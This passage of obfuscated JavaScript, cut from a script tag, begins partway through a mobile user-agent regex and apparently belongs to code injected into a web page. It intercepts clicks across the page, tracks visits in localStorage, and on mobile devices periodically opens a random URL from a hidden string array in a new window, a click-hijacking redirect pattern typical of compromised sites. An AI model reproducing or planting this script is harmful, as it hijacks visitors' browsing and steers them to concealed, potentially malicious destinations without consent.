)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());</script>